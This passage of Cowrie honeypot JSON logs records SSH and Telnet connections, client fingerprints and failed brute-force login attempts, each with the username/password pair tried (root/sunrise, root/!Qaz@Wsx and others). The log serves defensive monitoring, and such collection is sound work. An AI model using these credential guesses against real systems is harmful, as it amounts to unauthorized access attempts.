{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52896,"dst_ip":"159.203.135.109","dst_port":22,"session":"77b35b6abdd6","protocol":"ssh","message":"New connection: 45.156.87.204:52896 (159.203.135.109:22) [session: 77b35b6abdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:09.639340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:09.644623Z","src_ip":"45.156.87.204","session":"77b35b6abdd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:09.732879Z","src_ip":"45.156.87.204","session":"77b35b6abdd6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:09.778808Z","src_ip":"47.237.167.49","session":"003d4e34d5f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:09.979284Z","src_ip":"45.156.87.204","session":"77b35b6abdd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:10.736293Z","src_ip":"2.57.121.25","session":"1809e7dfc1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:11.063524Z","src_ip":"45.156.87.204","session":"77b35b6abdd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.951823472976685,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:11.568653Z","src_ip":"152.42.224.71","session":"33bcd33eb69b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53270,"dst_ip":"10.17.0.5","dst_port":23,"session":"b45a6a133e24","protocol":"telnet","message":"New connection: 152.42.224.71:53270 (10.17.0.5:23) [session: b45a6a133e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:11.820301Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52148,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e9c3bc2d9f5","protocol":"ssh","message":"New connection: 45.156.87.204:52148 (159.203.135.109:22) [session: 1e9c3bc2d9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:13.280599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:13.285574Z","src_ip":"45.156.87.204","session":"1e9c3bc2d9f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:13.368461Z","src_ip":"45.156.87.204","session":"1e9c3bc2d9f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:13.616107Z","src_ip":"45.156.87.204","session":"1e9c3bc2d9f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53294,"dst_ip":"10.17.0.5","dst_port":23,"session":"8efd854e4ff2","protocol":"telnet","message":"New connection: 152.42.224.71:53294 (10.17.0.5:23) [session: 8efd854e4ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:13.905624Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:14.715770Z","src_ip":"45.156.87.204","session":"1e9c3bc2d9f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":58466,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec25c42d38a7","protocol":"ssh","message":"New connection: 194.113.233.25:58466 (10.17.0.5:22) [session: ec25c42d38a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:15.559178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:15.564828Z","src_ip":"194.113.233.25","session":"ec25c42d38a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:15.657360Z","src_ip":"194.113.233.25","session":"ec25c42d38a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sunrise","message":"login attempt [root/sunrise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:15.936607Z","src_ip":"194.113.233.25","session":"ec25c42d38a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52164,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f7f7c691b8d","protocol":"ssh","message":"New connection: 45.156.87.204:52164 (159.203.135.109:22) [session: 9f7f7c691b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:16.760628Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:16.794601Z","src_ip":"47.237.167.49","session":"003d4e34d5f0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:16.834481Z","src_ip":"45.156.87.204","session":"9f7f7c691b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:16.985670Z","src_ip":"45.156.87.204","session":"9f7f7c691b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:17.033069Z","src_ip":"194.113.233.25","session":"ec25c42d38a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:17.292712Z","src_ip":"45.156.87.204","session":"9f7f7c691b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:18.378044Z","src_ip":"45.156.87.204","session":"9f7f7c691b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:19.904685Z","src_ip":"47.237.167.49","session":"003d4e34d5f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52178,"dst_ip":"159.203.135.109","dst_port":22,"session":"094249e56a23","protocol":"ssh","message":"New connection: 45.156.87.204:52178 (159.203.135.109:22) [session: 094249e56a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:20.532920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:20.537692Z","src_ip":"45.156.87.204","session":"094249e56a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:20.620226Z","src_ip":"45.156.87.204","session":"094249e56a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00164246559143,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:20.833728Z","src_ip":"152.42.224.71","session":"c23096faf340","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:20.867714Z","src_ip":"45.156.87.204","session":"094249e56a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39618,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0188527a111","protocol":"telnet","message":"New connection: 152.42.224.71:39618 (10.17.0.5:23) [session: a0188527a111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:20.885087Z"}
{"eventid":"cowrie.session.closed","duration":"68.0","message":"Connection lost after 68.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:21.479950Z","src_ip":"47.237.167.49","session":"003d4e34d5f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39620,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a122db4c84","protocol":"telnet","message":"New connection: 152.42.224.71:39620 (10.17.0.5:23) [session: 04a122db4c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:21.947769Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:21.980367Z","src_ip":"45.156.87.204","session":"094249e56a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53408,"dst_ip":"159.203.135.109","dst_port":22,"session":"259c7fe87cd6","protocol":"ssh","message":"New connection: 45.156.87.204:53408 (159.203.135.109:22) [session: 259c7fe87cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:24.109859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:24.115223Z","src_ip":"45.156.87.204","session":"259c7fe87cd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:24.316556Z","src_ip":"45.156.87.204","session":"259c7fe87cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.762282371521,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:24.688895Z","src_ip":"152.42.224.71","session":"08f0bda44fb2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:24.720992Z","src_ip":"45.156.87.204","session":"259c7fe87cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:25.805493Z","src_ip":"45.156.87.204","session":"259c7fe87cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53418,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7e0f4a5d83f","protocol":"ssh","message":"New connection: 45.156.87.204:53418 (159.203.135.109:22) [session: b7e0f4a5d83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:27.954552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:36:27.963970Z","src_ip":"45.156.87.204","session":"b7e0f4a5d83f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 